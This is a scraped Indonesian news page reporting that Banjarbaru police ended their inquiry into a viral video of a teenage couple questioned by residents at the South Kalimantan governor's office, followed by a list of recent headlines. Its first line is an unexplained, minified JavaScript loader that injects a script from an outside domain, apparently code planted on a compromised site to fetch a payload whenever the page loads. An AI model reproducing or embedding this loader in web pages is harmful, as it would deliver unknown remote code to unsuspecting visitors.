(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Polisi Hentikan Penyelidikan Kasus Video Remaja Diduga Mesum di Perkantoran Gubernur Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Polres Banjarbaru menghentikan proses penyelidikan kasus video sepasang remaja yang digrebek, diduga melakukan perbuatan mesum di area fasilitas publik.

Kabar terbaru ini ditegaskan Kasubbag Humas Polres Banjarbaru, Iptu Tajuddin Noor, saat dihubungi Kanalkalimantan.com, Jumat (5/2/2021). “Kami tidak memproses kasus video itu,” ucapnya.

Lebih lanjut, Iptu Tajuddin menerangkan bahwa tak ada bukti yang bisa menguatkan bahwa pasangan remaja di dalam video tersebut melakukan perbuatan asusila. Sebab, dalam cuplikan video yang beredar hanya menampilkan dua sejoli yang sedang diinterogasi sejumlah orang.

“Tidak ada bukti kuat apakah remaja ini berbuat asusila atau tidak. Yang nampak di video kan hanya remaja yang didatangi dan ditanya-tanya oleh sejumlah orang. Jadi dugaan asusila itu masih sangat samar,” bebernya.

Menyegarkan ingatan, pekan lalu, warganet dibuat geger beredarnya sebuah video penggerebekan pasangan yang diduga berbuat mesum di area fasilitas publik.

Informasi yang beredar, pasangan tersebut diciduk di area perkantoran Sekretariat Daerah (Setda) Provinsi Kalimantan Selatan atau lebih dikenal kantor Gubernur Kalsel, di Kecamatan Cempaka, Kota Banjarbaru.

Video berdurasi 30 detik itu menampilkan dua sejoli yang usianya masih remaja sedang diinterogasi oleh sejumlah orang di area tersebut. Dugaan perbuatan mesum keduanya semakin kuat, lantaran sang pria terciduk menggunakan kondom di balik sarung yang dipakainya.

Sedangkan, sang wanita hanya bisa tertunduk malu sembari menutupi wajahnya. Video ini beredar luas di sosial media dan banyak yang beranggapan bahwa pasangan muda tersebut sedang bersiap melakukan perbuatan mesum.

Beredarnya video ini sempat membuat pihak kepolisian mengendus adanya tindak penyebaran konten pornografi. Namun sama seperti proses penyelidikan terhadap pasangan di dalam video tersebut, penyelidikan penyebaran video tersebut juga tidak dilakukan.

“Tidak ada proses penyidikan. Artinya kasus penyebaran video ini tidak dapat di tindak lanjut unsur pidananya. Karena sekali lagi saya tegaskan, tidak ada unsur pornografi di video tersebut. Hanya sepasang remaja yang diinterogasi oleh warga. Itu saja,” tandas Iptu Tajuddin. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

 

 

 

 


Al Ghifari

Recent Posts

Belanja Bahagia, PLN Tebar Senyum Berkah untuk Anak Yatim

KANALKALIMANTAN.COM, PONTIANAK - PLN melalui Yayasan Baitul Maal (YBM) PLN dan Srikandi PLN menebar kebahagiaan… Read More

10 jam ago

Hadapi PSU 19 April, 403 PTPS Dilantik dan Diaktifkan Kembali

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 403 orang Pengawas Tempat Pemungutan Suara (PTPS) se Kota Banjarbaru akan… Read More

10 jam ago

Kepala BIN Resmikan Mako BINDA Kalsel di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Kepala Badan Intelijen Nasional (BIN) Muhammad Herindra meresmikan gedung baru Markas Komando… Read More

10 jam ago

163 Calon Jemaah Haji Banjarbaru Mulai Ikuti Manasik

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Kantor Kementerian Agama Kota Banjarbaru resmi membuka kegiatan… Read More

11 jam ago

Desa Longkong Ikuti Lomba Posyandu, Ini Pesan Ketua TP PKK HSU

KANALKALIMANTAN.COM, AMUNTAI – Pos Pelayanan Terpadu (Posyandu) Mawar Desa Longkong, Kecamatan Danau Panggang, menjadi lokasi… Read More

12 jam ago

DPRD Banjarbaru Berikan 11 Evaluasi LKPj Wali Kota Tahun Anggaran 2024

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru memberikan evaluasi terkait rekomendasi laporan… Read More

14 jam ago

This website uses cookies.